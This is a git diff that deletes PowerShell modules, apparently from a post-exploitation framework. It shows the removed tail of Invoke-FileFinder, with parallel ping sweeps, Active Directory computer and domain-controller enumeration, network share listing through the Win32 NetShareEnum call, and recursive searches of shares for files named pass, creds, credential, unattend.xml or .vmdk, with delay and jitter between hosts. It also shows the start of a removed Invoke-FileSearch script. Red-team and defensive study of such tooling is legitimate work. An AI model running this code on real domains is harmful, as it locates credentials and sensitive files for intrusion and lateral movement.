$GetWithInputHandlingForInvokeCommandImpl.Invoke($ScriptBlock.ast,@($Tuple)) - - $ScriptBlock = [scriptblock]::Create($StringScriptBlock) - - Write-Verbose $StringScriptBlock - } - } - - $ScriptBlock = $ExecutionContext.InvokeCommand.NewScriptBlock("param($($ParamsToAdd -Join ", "))`r`n" + $Scriptblock.ToString()) - } - else - { - Throw "Must provide ScriptBlock or ScriptFile"; Break - } - - Write-Debug "`$ScriptBlock: $($ScriptBlock | Out-String)" - Write-Verbose "Creating runspace pool and session states" - - #If specified, add variables and modules/snapins to session state - $sessionstate = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() - if ($ImportVariables) - { - if($UserVariables.count -gt 0) - { - foreach($Variable in $UserVariables) - { - $sessionstate.Variables.Add( (New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Variable.Name, $Variable.Value, $null) ) - } - } - } - if ($ImportModules) - { - if($UserModules.count -gt 0) - { - foreach($ModulePath in $UserModules) - { - $sessionstate.ImportPSModule($ModulePath) - } - } - if($UserSnapins.count -gt 0) - { - foreach($PSSnapin in $UserSnapins) - { - [void]$sessionstate.ImportPSSnapIn($PSSnapin, [ref]$null) - } - } - } - - #Create runspace pool - $runspacepool = [runspacefactory]::CreateRunspacePool(1, $Throttle, $sessionstate, $Host) - $runspacepool.Open() - - Write-Verbose "Creating empty collection to hold runspace jobs" - $Script:runspaces = New-Object System.Collections.ArrayList - - #If inputObject is bound get a total count and set bound to true - $global:__bound = $false - $allObjects = @() - if( $PSBoundParameters.ContainsKey("inputObject") ){ - $global:__bound = $true - } - - #endregion INIT - } - - Process { - #add piped objects to all objects or set all objects to bound input object parameter - if( -not $global:__bound ){ - $allObjects += $inputObject - } - else{ - $allObjects = $InputObject - } - } - - End { - - #Use Try/Finally to catch Ctrl+C and clean up. - Try - { - #counts for progress - $totalCount = $allObjects.count - $script:completedCount = 0 - $startedCount = 0 - - foreach($object in $allObjects){ - - #region add scripts to runspace pool - - #Create the powershell instance, set verbose if needed, supply the scriptblock and parameters - $powershell = [powershell]::Create() - - if ($VerbosePreference -eq 'Continue') - { - [void]$PowerShell.AddScript({$VerbosePreference = 'Continue'}) - } - - [void]$PowerShell.AddScript($ScriptBlock).AddArgument($object) - - if ($parameter) - { - [void]$PowerShell.AddArgument($parameter) - } - - # $Using support from Boe Prox - if ($UsingVariableData) - { - Foreach($UsingVariable in $UsingVariableData) { - Write-Verbose "Adding $($UsingVariable.Name) with value: $($UsingVariable.Value)" - [void]$PowerShell.AddArgument($UsingVariable.Value) - } - } - - #Add the runspace into the powershell instance - $powershell.RunspacePool = $runspacepool - - #Create a temporary collection for each runspace - $temp = "" | Select-Object PowerShell, StartTime, object, Runspace - $temp.PowerShell = $powershell - $temp.StartTime = Get-Date - $temp.object = $object - - #Save the handle output when calling BeginInvoke() that will be used later to end the runspace - $temp.Runspace = $powershell.BeginInvoke() - $startedCount++ - - #Add the temp tracking info to $runspaces collection - Write-Verbose ( "Adding {0} to collection at {1}" -f $temp.object, $temp.starttime.tostring() ) - $runspaces.Add($temp) | Out-Null - - #loop through existing runspaces one time - Get-RunspaceData - - #If we have more running than max queue (used to control timeout accuracy) - #Script scope resolves odd PowerShell 2 issue - $firstRun = $true - while ($runspaces.count -ge $Script:MaxQueue) { - - #give verbose output - if($firstRun){ - Write-Verbose "$($runspaces.count) items running - exceeded $Script:MaxQueue limit." - } - $firstRun = $false - - #run get-runspace data and sleep for a short while - Get-RunspaceData - Start-Sleep -Milliseconds $sleepTimer - } - #endregion add scripts to runspace pool - } - - Write-Verbose ( "Finish processing the remaining runspace jobs: {0}" -f ( @($runspaces | Where {$_.Runspace -ne $Null}).Count) ) - Get-RunspaceData -wait - } - Finally - { - #Close the runspace pool, unless we specified no close on timeout and something timed out - if ( ($timedOutTasks -eq $false) -or ( ($timedOutTasks -eq $true) -and ($noCloseOnTimeout -eq $false) ) ) { - Write-Verbose "Closing the runspace pool" - $runspacepool.close() - } - #collect garbage - [gc]::Collect() - } - } - } - - Write-Verbose "PSBoundParameters = $($PSBoundParameters | Out-String)" - - $bound = $PSBoundParameters.keys -contains "ComputerName" - if(-not $bound) - { - [System.Collections.ArrayList]$AllComputers = @() - } - } - Process - { - #Handle both pipeline and bound parameter. We don't want to stream objects, defeats purpose of parallelizing work - if($bound) - { - $AllComputers = $ComputerName - } - Else - { - foreach($Computer in $ComputerName) - { - $AllComputers.add($Computer) | Out-Null - } - } - } - End - { - #Built up the parameters and run everything in parallel - $params = @() - $splat = @{ - Throttle = $Throttle - RunspaceTimeout = $Timeout - InputObject = $AllComputers - } - if($NoCloseOnTimeout) - { - $splat.add('NoCloseOnTimeout',$True) - } - - Invoke-Parallel @splat -ScriptBlock { - $computer = $_.trim() - Try - { - #Pick out a few properties, add a status label. If quiet output, just return the address - $result = $null - if( $result = @( Test-Connection -ComputerName $computer -Count 2 -erroraction Stop ) ) - { - $Output = $result | Select -first 1 -Property Address, IPV4Address, IPV6Address, ResponseTime, @{ label = "STATUS"; expression = {"Responding"} } - $Output.address - } - } - Catch - { - } - } - } -} - - - -function Test-Server { - <# - .SYNOPSIS - Tests a connection to a remote server. - - .DESCRIPTION - This function uses either ping (test-connection) or RPC - (through WMI) to test connectivity to a remote server. - - .PARAMETER Server - The hostname/IP to test connectivity to. - - .OUTPUTS - $True/$False - - .EXAMPLE - > Test-Server -Server WINDOWS7 - Tests ping connectivity to the WINDOWS7 server. - - .EXAMPLE - > Test-Server -RPC -Server WINDOWS7 - Tests RPC connectivity to the WINDOWS7 server. - - .LINK - http://gallery.technet.microsoft.com/scriptcenter/Enhanced-Remote-Server-84c63560 - #> - - [CmdletBinding()] - param( - [Parameter(Mandatory=$True,ValueFromPipeline=$true)] - [String] - $Server, - - [Switch] - $RPC - ) - - process { - if ($RPC){ - $WMIParameters = @{ - namespace = 'root\cimv2' - Class = 'win32_ComputerSystem' - ComputerName = $Name - ErrorAction = 'Stop' - } - if ($Credential -ne $null) - { - $WMIParameters.Credential = $Credential - } - try - { - Get-WmiObject @WMIParameters - } - catch { - Write-Verbose -Message 'Could not connect via WMI' - } - } - # otherwise, use ping - else{ - Test-Connection -ComputerName $Server -count 1 -Quiet - } - } -} - - -######################################################## -# -# Domain info functions below. -# -######################################################## - -function Get-NetDomain { - <# - .SYNOPSIS - Returns the name of the current user's domain. - - .PARAMETER Domain - The domain to query return. If not supplied, the - current domain is used. - - .EXAMPLE - > Get-NetDomain - Return the current domain. - - .LINK - http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG - #> - - [CmdletBinding()] - param( - [String] - $Domain - ) - - if($Domain -and ($Domain -ne "")){ - $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) - try { - [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) - } - catch{ - Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." - $Null - } - } - else{ - [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() - } -} - - -function Get-NetDomainControllers { - <# - .SYNOPSIS - Return the current domain controllers for the active domain. - - .PARAMETER Domain - The domain to query for domain controllers. If not supplied, the - current domain is used. - - .EXAMPLE - > Get-NetDomainControllers - Returns the domain controllers for the current computer's domain. - Approximately equivialent to the hostname given in the LOGONSERVER - environment variable. - - .EXAMPLE - > Get-NetDomainControllers -Domain test - Returns the domain controllers for the domain "test". - #> - - [CmdletBinding()] - param( - [string] - $Domain - ) - - $d = Get-NetDomain -Domain $Domain - if($d){ - $d.DomainControllers - } -} - - -######################################################## -# -# "net *" replacements and other fun start below -# -######################################################## - -function Get-NetCurrentUser { - [System.Security.Principal.WindowsIdentity]::GetCurrent().Name -} - -function Get-NameField { - # function that attempts to extract the appropriate field name - # from various passed objects. This is so functions can have - # multiple types of objects passed on the pipeline. - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - $object - ) - process { - if($object){ - if ( [bool]($object.PSobject.Properties.name -match "dnshostname") ) { - # objects from Get-NetComputers - $object.dnshostname - } - elseif ( [bool]($object.PSobject.Properties.name -match "name") ) { - # objects from Get-NetDomainControllers - $object.name - } - else { - # strings and catch alls - $object - } - } - else{ - return $Null - } - } -} - - -function Get-NetComputers { - <# - .SYNOPSIS - Gets an array of all current computers objects in a domain. - - .DESCRIPTION - This function utilizes adsisearcher to query the current AD context - for current computer objects. Based off of Carlos Perez's Audit.psm1 - script in Posh-SecMod (link below). - - .PARAMETER HostName - Return computers with a specific name, wildcards accepted. - - .PARAMETER SPN - Return computers with a specific service principal name, wildcards accepted. - - .PARAMETER OperatingSystem - Return computers with a specific operating system, wildcards accepted. - - .PARAMETER ServicePack - Return computers with a specific service pack, wildcards accepted. - - .PARAMETER Ping - Ping each host to ensure it's up before enumerating. - - .PARAMETER FullData - Return full user computer objects instead of just system names (the default). - - .PARAMETER Domain - The domain to query for computers. - - .OUTPUTS - System.Array. An array of found system objects. - - .EXAMPLE - > Get-NetComputers - Returns the current computers in current domain. - - .EXAMPLE - > Get-NetComputers -SPN mssql* - Returns all MS SQL servers on the domain. - - .EXAMPLE - > Get-NetComputers -Domain testing - Returns the current computers in 'testing' domain. - - > Get-NetComputers -Domain testing -FullData - Returns full computer objects in the 'testing' domain. - - .LINK - https://github.com/darkoperator/Posh-SecMod/blob/master/Audit/Audit.psm1 - #> - - [CmdletBinding()] - Param ( - [Parameter(ValueFromPipeline=$True)] - [string] - $HostName = '*', - - [string] - $SPN = '*', - - [string] - $OperatingSystem = '*', - - [string] - $ServicePack = '*', - - [Switch] - $Ping, - - [Switch] - $FullData, - - [string] - $Domain - ) - - process { - # if a domain is specified, try to grab that domain - if ($Domain){ - - # try to grab the primary DC for the current domain - try{ - $PrimaryDC = ([Array](Get-NetDomainControllers))[0].Name - } - catch{ - $PrimaryDC = $Null - } - - try { - # reference - http://blogs.msdn.com/b/javaller/archive/2013/07/29/searching-across-active-directory-domains-in-powershell.aspx - $dn = "DC=$($Domain.Replace('.', ',DC='))" - - # if we could grab the primary DC for the current domain, use that for the query - if($PrimaryDC){ - $CompSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$PrimaryDC/$dn") - } - else{ - # otherwise try to connect to the DC for the target domain - $CompSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn") - } - - # create the searcher object with our specific filters - if ($ServicePack -ne '*'){ - $CompSearcher.filter="(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(operatingsystemservicepack=$ServicePack)(servicePrincipalName=$SPN))" - } - else{ - # server 2012 peculiarity- remove any mention to service pack - $CompSearcher.filter="(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(servicePrincipalName=$SPN))" - } - - } - catch{ - Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." - } - } - else{ - # otherwise, use the current domain - if ($ServicePack -ne '*'){ - $CompSearcher = [adsisearcher]"(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(operatingsystemservicepack=$ServicePack)(servicePrincipalName=$SPN))" - } - else{ - # server 2012 peculiarity- remove any mention to service pack - $CompSearcher = [adsisearcher]"(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(servicePrincipalName=$SPN))" - } - } - - if ($CompSearcher){ - - # eliminate that pesky 1000 system limit - $CompSearcher.PageSize = 200 - - $CompSearcher.FindAll() | ForEach-Object { - $up = $true - if($Ping){ - $up = Test-Server -Server $_.properties.dnshostname - } - if($up){ - # return full data objects - if ($FullData){ - $properties = $_.Properties - $out = New-Object psobject - - $properties.PropertyNames | % { - if ($_ -eq "objectsid"){ - # convert the SID to a string - $out | Add-Member Noteproperty $_ ((New-Object System.Security.Principal.SecurityIdentifier($properties[$_][0],0)).Value) - } - elseif($_ -eq "objectguid"){ - # convert the GUID to a string - $out | Add-Member Noteproperty $_ (New-Object Guid (,$properties[$_][0])).Guid - } - elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") ){ - $out | Add-Member Noteproperty $_ ([datetime]::FromFileTime(($properties[$_][0]))) - } - else { - $out | Add-Member Noteproperty $_ $properties[$_][0] - } - } - $out - } - else{ - # otherwise we're just returning the DNS host name - $_.properties.dnshostname - } - } - } - } - - } -} - - -function Get-NetShare { - <# - .SYNOPSIS - Gets share information for a specified server. - - .DESCRIPTION - This function will execute the NetShareEnum Win32API call to query - a given host for open shares. This is a replacement for - "net share \\hostname" - - .PARAMETER HostName - The hostname to query for shares. - - .OUTPUTS - SHARE_INFO_1 structure. A representation of the SHARE_INFO_1 - result structure which includes the name and note for each share. - - .EXAMPLE - > Get-NetShare - Returns active shares on the local host. - - .EXAMPLE - > Get-NetShare -HostName sqlserver - Returns active shares on the 'sqlserver' host - #> - - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [string] - $HostName = 'localhost' - ) - - begin { - If ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - } - - process { - - # process multiple object types - $HostName = Get-NameField $HostName - - # arguments for NetShareEnum - $QueryLevel = 1 - $ptrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 - - # get the share information - $Result = $Netapi32::NetShareEnum($HostName, $QueryLevel,[ref]$ptrInfo,-1,[ref]$EntriesRead,[ref]$TotalRead,[ref]$ResumeHandle) - - # Locate the offset of the initial intPtr - $offset = $ptrInfo.ToInt64() - - Write-Debug "Get-NetShare result: $Result" - - # 0 = success - if (($Result -eq 0) -and ($offset -gt 0)) { - - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $SHARE_INFO_1::GetSize() - - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++){ - # create a new int ptr at the given offset and cast - # the pointer as our result structure - $newintptr = New-Object system.Intptr -ArgumentList $offset - $Info = $newintptr -as $SHARE_INFO_1 - # return all the sections of the structure - $Info | Select-Object * - $offset = $newintptr.ToInt64() - $offset += $increment - } - # free up the result buffer - $Netapi32::NetApiBufferFree($ptrInfo) | Out-Null - } - else - { - switch ($Result) { - (5) {Write-Debug 'The user does not have access to the requested information.'} - (124) {Write-Debug 'The value specified for the level parameter is not valid.'} - (87) {Write-Debug 'The specified parameter is not valid.'} - (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} - (8) {Write-Debug 'Insufficient memory is available.'} - (2312) {Write-Debug 'A session does not exist with the computer name.'} - (2351) {Write-Debug 'The computer name is not valid.'} - (2221) {Write-Debug 'Username not found.'} - (53) {Write-Debug 'Hostname could not be found'} - } - } - } -} - - -######################################################## -# -# 'Meta'-functions start below -# -######################################################## - -function Invoke-SearchFiles { - <# - .SYNOPSIS - Searches a given server/path for files with specific terms in the name. - - .DESCRIPTION - This function recursively searches a given UNC path for files with - specific keywords in the name (default of pass, sensitive, secret, admin, - login and unattend*.xml). The output can be piped out to a csv with the - -OutFile flag. By default, hidden files/folders are included in search results. - - .PARAMETER Path - UNC/local path to recursively search. - - .PARAMETER Terms - Terms to search for. - - .PARAMETER OfficeDocs - Search for office documents (*.doc*, *.xls*, *.ppt*) - - .PARAMETER FreshEXES - Find .EXEs accessed within the last week. - - .PARAMETER AccessDateLimit - Only return files with a LastAccessTime greater than this date value. - - .PARAMETER WriteDateLimit - Only return files with a LastWriteTime greater than this date value. - - .PARAMETER CreateDateLimit - Only return files with a CreationDate greater than this date value. - - .PARAMETER ExcludeFolders - Exclude folders from the search results. - - .PARAMETER ExcludeHidden - Exclude hidden files and folders from the search results. - - .PARAMETER CheckWriteAccess - Only returns files the current user has write access to. - - .PARAMETER OutFile - Output results to a specified csv output file. - - .OUTPUTS - The full path, owner, lastaccess time, lastwrite time, and size for - each found file. - - .EXAMPLE - > Invoke-SearchFiles -Path \\WINDOWS7\Users\ - Returns any files on the remote path \\WINDOWS7\Users\ that have 'pass', - 'sensitive', or 'secret' in the title. - - .EXAMPLE - > Invoke-SearchFiles -Path \\WINDOWS7\Users\ -Terms salaries,email -OutFile out.csv - Returns any files on the remote path \\WINDOWS7\Users\ that have 'salaries' - or 'email' in the title, and writes the results out to a csv file - named 'out.csv' - - .EXAMPLE - > Invoke-SearchFiles -Path \\WINDOWS7\Users\ -AccessDateLimit 6/1/2014 - Returns all files accessed since 6/1/2014. - - .LINK - http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/ - #> - - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [string] - $Path = '.\', - - [string[]] - $Terms, - - [Switch] - $OfficeDocs, - - [Switch] - $FreshEXES, - - [string] - $AccessDateLimit = '1/1/1970', - - [string] - $WriteDateLimit = '1/1/1970', - - [string] - $CreateDateLimit = '1/1/1970', - - [Switch] - $ExcludeFolders, - - [Switch] - $ExcludeHidden, - - [Switch] - $CheckWriteAccess, - - [string] - $OutFile - ) - - begin { - # default search terms - $SearchTerms = @('pass', 'sensitive', 'admin', 'login', 'secret', 'unattend*.xml', '.vmdk', 'creds', 'credential', '.config') - - # check if custom search terms were passed - if ($Terms){ - if($Terms -isnot [system.array]){ - $Terms = @($Terms) - } - $SearchTerms = $Terms - } - - # append wildcards to the front and back of all search terms - for ($i = 0; $i -lt $SearchTerms.Count; $i++) { - $SearchTerms[$i] = "*$($SearchTerms[$i])*" - } - - # search just for office documents if specified - if ($OfficeDocs){ - $SearchTerms = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx') - } - - # find .exe's accessed within the last 7 days - if($FreshEXES){ - # get an access time limit of 7 days ago - $AccessDateLimit = (get-date).AddDays(-7).ToString('MM/dd/yyyy') - $SearchTerms = '*.exe' - } - } - - process { - Write-Verbose "[*] Search path $Path" - - # build our giant recursive search command w/ conditional options - $cmd = "get-childitem $Path -rec $(if(-not $ExcludeHidden){`"-Force`"}) -ErrorAction SilentlyContinue -include $($SearchTerms -join `",`") | where{ $(if($ExcludeFolders){`"(-not `$_.PSIsContainer) -and`"}) (`$_.LastAccessTime -gt `"$AccessDateLimit`") -and (`$_.LastWriteTime -gt `"$WriteDateLimit`") -and (`$_.CreationTime -gt `"$CreateDateLimit`")} | select-object FullName,@{Name='Owner';Expression={(Get-Acl `$_.FullName).Owner}},LastAccessTime,LastWriteTime,Length $(if($CheckWriteAccess){`"| where { `$_.FullName } | where { Invoke-CheckWrite -Path `$_.FullName }`"}) $(if($OutFile){`"| export-csv -Append -notypeinformation -path $OutFile`"})" - - # execute the command - Invoke-Expression $cmd - } -} - - -function Invoke-FileFinder { - <# - .SYNOPSIS - Finds sensitive files on the domain. - - Author: @harmj0y - License: BSD 3-Clause - - .DESCRIPTION - This function finds the local domain name for a host using Get-NetDomain, - queries the domain for all active machines with Get-NetComputers, grabs - the readable shares for each server, and recursively searches every - share for files with specific keywords in the name. - If a share list is passed, EVERY share is enumerated regardless of - other options. - - .PARAMETER Hosts - Host array to enumerate, passable on the pipeline. - - .PARAMETER HostList - List of hostnames/IPs to search. - - .PARAMETER HostFilter - Host filter name to query AD for, wildcards accepted. - - .PARAMETER ShareList - List if \\HOST\shares to search through. - - .PARAMETER Terms - Terms to search for. - - .PARAMETER OfficeDocs - Search for office documents (*.doc*, *.xls*, *.ppt*) - - .PARAMETER FreshEXES - Find .EXEs accessed within the last week. - - .PARAMETER AccessDateLimit - Only return files with a LastAccessTime greater than this date value. - - .PARAMETER WriteDateLimit - Only return files with a LastWriteTime greater than this date value. - - .PARAMETER CreateDateLimit - Only return files with a CreationDate greater than this date value. - - .PARAMETER IncludeC - Include any C$ shares in recursive searching (default ignore). - - .PARAMETER IncludeAdmin - Include any ADMIN$ shares in recursive searching (default ignore). - - .PARAMETER ExcludeFolders - Exclude folders from the search results. - - .PARAMETER ExcludeHidden - Exclude hidden files and folders from the search results. - - .PARAMETER CheckWriteAccess - Only returns files the current user has write access to. - - .PARAMETER OutFile - Output results to a specified csv output file. - - .PARAMETER NoPing - Don't ping each host to ensure it's up before enumerating. - - .PARAMETER Delay - Delay between enumerating hosts, defaults to 0 - - .PARAMETER Jitter - Jitter for the host delay, defaults to +/- 0.3 - - .PARAMETER Domain - Domain to query for machines - - .EXAMPLE - > Invoke-FileFinder - Find readable files on the domain with 'pass', 'sensitive', - 'secret', 'admin', 'login', or 'unattend*.xml' in the name, - - .EXAMPLE - > Invoke-FileFinder -Domain testing - Find readable files on the 'testing' domain with 'pass', 'sensitive', - 'secret', 'admin', 'login', or 'unattend*.xml' in the name, - - .EXAMPLE - > Invoke-FileFinder -IncludeC - Find readable files on the domain with 'pass', 'sensitive', - 'secret', 'admin', 'login' or 'unattend*.xml' in the name, - including C$ shares. - - .EXAMPLE - > Invoke-FileFinder -ShareList shares.txt -Terms accounts,ssn -OutFile out.csv - Enumerate a specified share list for files with 'accounts' or - 'ssn' in the name, and write everything to "out.csv" - - .LINK - http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/ - #> - - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$true)] - [String[]] - $Hosts, - - [string] - $HostList, - - [string] - $HostFilter, - - [string] - $ShareList, - - [Switch] - $OfficeDocs, - - [Switch] - $FreshEXES, - - [string[]] - $Terms, - - [String] - $TermList, - - [string] - $AccessDateLimit = '1/1/1970', - - [string] - $WriteDateLimit = '1/1/1970', - - [string] - $CreateDateLimit = '1/1/1970', - - [Switch] - $IncludeC, - - [Switch] - $IncludeAdmin, - - [Switch] - $ExcludeFolders, - - [Switch] - $ExcludeHidden, - - [Switch] - $CheckWriteAccess, - - [string] - $OutFile, - - [Switch] - $NoPing, - - [UInt32] - $Delay = 0, - - [double] - $Jitter = .3, - - [string] - $Domain - ) - - begin { - - If ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - - # figure out the shares we want to ignore - [String[]] $excludedShares = @("C$", "ADMIN$") - - # random object for delay - $randNo = New-Object System.Random - - # see if we're specifically including any of the normally excluded sets - if ($IncludeC){ - if ($IncludeAdmin){ - $excludedShares = @() - } - else{ - $excludedShares = @("ADMIN$") - } - } - - if ($IncludeAdmin){ - if ($IncludeC){ - $excludedShares = @() - } - else{ - $excludedShares = @("C$") - } - } - - # delete any existing output file if it already exists - If ($OutFile -and (Test-Path -Path $OutFile)){ Remove-Item -Path $OutFile } - - # if there's a set of terms specified to search for - if ($TermList){ - if (Test-Path -Path $TermList){ - foreach ($Term in Get-Content -Path $TermList) { - if (($Term -ne $null) -and ($Term.trim() -ne '')){ - $Terms += $Term - } - } - } - else { - Write-Warning "[!] Input file '$TermList' doesn't exist!" - return $null - } - } - - # if we are passed a share list, enumerate each with appropriate options, then return - if($ShareList){ - if (Test-Path -Path $ShareList){ - foreach ($Item in Get-Content -Path $ShareList) { - if (($Item -ne $null) -and ($Item.trim() -ne '')){ - - # exclude any "[tab]- commants", i.e. the output from Invoke-ShareFinder - $share = $Item.Split("`t")[0] - - # get just the share name from the full path - $shareName = $share.split('\')[3] - - $cmd = "Invoke-SearchFiles -Path $share $(if($Terms){`"-Terms $($Terms -join ',')`"}) $(if($ExcludeFolders){`"-ExcludeFolders`"}) $(if($ExcludeHidden){`"-ExcludeHidden`"}) $(if($FreshEXES){`"-FreshEXES`"}) $(if($OfficeDocs){`"-OfficeDocs`"}) $(if($CheckWriteAccess){`"-CheckWriteAccess`"}) $(if($OutFile){`"-OutFile $OutFile`"})" - - Write-Verbose "[*] Enumerating share $share" - Invoke-Expression $cmd - } - } - } - else { - Write-Warning "[!] Input file '$ShareList' doesn't exist!" - return $null - } - return - } - else{ - # if we aren't using a share list, first get the target domain - if($Domain){ - $targetDomain = $Domain - } - else{ - # use the local domain - $targetDomain = $null - } - - Write-Verbose "[*] Running Invoke-FileFinder with delay of $Delay" - if($targetDomain){ - Write-Verbose "[*] Domain: $targetDomain" - } - - # if we're using a host list, read the targets in and add them to the target list - if($HostList){ - if (Test-Path -Path $HostList){ - $Hosts = Get-Content -Path $HostList - } - else{ - Write-Warning "[!] Input file '$HostList' doesn't exist!" - "[!] Input file '$HostList' doesn't exist!" - return - } - } - elseif($HostFilter){ - Write-Verbose "[*] Querying domain $targetDomain for hosts with filter '$HostFilter'" - $Hosts = Get-NetComputers -Domain $targetDomain -HostName $HostFilter - } - } - } - - process { - - if(-not $ShareList){ - if ( ((-not ($Hosts)) -or ($Hosts.length -eq 0)) -and (-not $ShareList) ) { - Write-Verbose "[*] Querying domain $targetDomain for hosts..." - $Hosts = Get-NetComputers -Domain $targetDomain - } - - # randomize the server list - $Hosts = Get-ShuffledArray $Hosts - - if(-not $NoPing){ - $Hosts = $Hosts | Invoke-Ping - } - - # return/output the current status lines - $counter = 0 - - foreach ($server in $Hosts){ - - $counter = $counter + 1 - - Write-Verbose "[*] Enumerating server $server ($counter of $($Hosts.count))" - - if ($server -and ($server -ne '')){ - # sleep for our semi-randomized interval - Start-Sleep -Seconds $randNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - - # get the shares for this host and display what we find - $shares = Get-NetShare -HostName $server - foreach ($share in $shares) { - Write-Debug "[*] Server share: $share" - $netname = $share.shi1_netname - $remark = $share.shi1_remark - $path = '\\'+$server+'\'+$netname - - # make sure we get a real share name back - if (($netname) -and ($netname.trim() -ne '')){ - - # skip this share if it's in the exclude list - if ($excludedShares -notcontains $netname.ToUpper()){ - - # check if the user has access to this path - try{ - $f=[IO.Directory]::GetFiles($path) - - $cmd = "Invoke-SearchFiles -Path $path $(if($Terms){`"-Terms $($Terms -join ',')`"}) $(if($ExcludeFolders){`"-ExcludeFolders`"}) $(if($OfficeDocs){`"-OfficeDocs`"}) $(if($ExcludeHidden){`"-ExcludeHidden`"}) $(if($FreshEXES){`"-FreshEXES`"}) $(if($CheckWriteAccess){`"-CheckWriteAccess`"}) $(if($OutFile){`"-OutFile $OutFile`"})" - - Write-Verbose "[*] Enumerating share $path" - - Invoke-Expression $cmd - } - catch {} - - } - } - } - } - } - } - } -} - - - -# expose the Win32API functions and datastructures below -# using PSReflect - -$Mod = New-InMemoryModule -ModuleName Win32 - -# all of the Win32 API functions we need -$FunctionDefinitions = @( - (func netapi32 NetShareEnum ([Int]) @([string], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), - (func kernel32 GetLastError ([Int]) @()) -) - -# the NetShareEnum result structure -$SHARE_INFO_1 = struct $Mod SHARE_INFO_1 @{ - shi1_netname = field 0 String -MarshalAs @('LPWStr') - shi1_type = field 1 UInt32 - shi1_remark = field 2 String -MarshalAs @('LPWStr') -} - - -$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' -$Netapi32 = $Types['netapi32'] -$Kernel32 = $Types['kernel32'] diff --git a/data/module_source/collection/Invoke-Filesearch.ps1 b/data/module_source/collection/Invoke-Filesearch.ps1 deleted file mode 100644 index 73cb4ea3c..000000000 --- a/data/module_source/collection/Invoke-Filesearch.ps1 +++ /dev/null @@ -1,142 +0,0 @@ -function Invoke-FileSearch { - <# - .SYNOPSIS - Searches a given server/path for files with specific terms in the name. - - .DESCRIPTION - This function recursively searches a given UNC path for files with - specific keywords in the name (default of pass, sensitive, secret, admin, - login and unattend*.xml). The output can be piped out to a csv with the - -OutFile flag. By default, hidden files/folders are included in search results. - - .PARAMETER Path - UNC/local path to recursively search. - - .PARAMETER Terms - Terms to search for. - - .PARAMETER OfficeDocs - Search for office documents (*.doc*, *.xls*, *.ppt*) - - .PARAMETER FreshEXES - Find .EXEs accessed within the last week. - - .PARAMETER AccessDateLimit - Only return files with a LastAccessTime greater than this date value. - - .PARAMETER WriteDateLimit - Only return files with a LastWriteTime greater than this date value. - - .PARAMETER CreateDateLimit - Only return files with a CreationDate greater than this date value. - - .PARAMETER ExcludeFolders - Exclude folders from the search results. - - .PARAMETER ExcludeHidden - Exclude hidden files and folders from the search results. - - .PARAMETER CheckWriteAccess - Only returns files the current user has write access to. - - .PARAMETER OutFile - Output results to a specified csv output file. - - .OUTPUTS - The full path, owner, lastaccess time, lastwrite time, and size for - each found file. - - .EXAMPLE - > Invoke-FileSearch -Path \\WINDOWS7\Users\ - Returns any files on the remote path \\WINDOWS7\Users\ that have 'pass', - 'sensitive', or 'secret' in the title. - - .EXAMPLE - > Invoke-FileSearch -Path \\WINDOWS7\Users\ -Terms salaries,email -OutFile out.csv - Returns any files on the remote path \\WINDOWS7\Users\ that have 'salaries' - or 'email' in the title, and writes the results out to a csv file - named 'out.csv' - - .EXAMPLE - > Invoke-FileSearch -Path \\WINDOWS7\Users\ -AccessDateLimit 6/1/2014 - Returns all files accessed since 6/1/2014. - - .LINK - http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/ - #> - - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [string] - $Path = '.\', - - [string[]] - $Terms, - - [Switch] - $OfficeDocs, - - [Switch] - $FreshEXES, - - [string] - $AccessDateLimit = '1/1/1970', - - [string] - $WriteDateLimit = '1/1/1970', - - [string] - $CreateDateLimit = '1/1/1970', - - [Switch] - $ExcludeFolders, - - [Switch] - $ExcludeHidden, - - [Switch] - $CheckWriteAccess, - - [string] - $OutFile - ) - - begin { - # default search terms - $SearchTerms = @('pass', 'sensitive', 'admin', 'login', 'secret', 'unattend*.xml', '.vmdk', 'creds', 'credential', '.config') - - # check if custom search terms were passed - if ($Terms){ - if($Terms -isnot [system.array]){ - $Terms = @($Terms) - } - 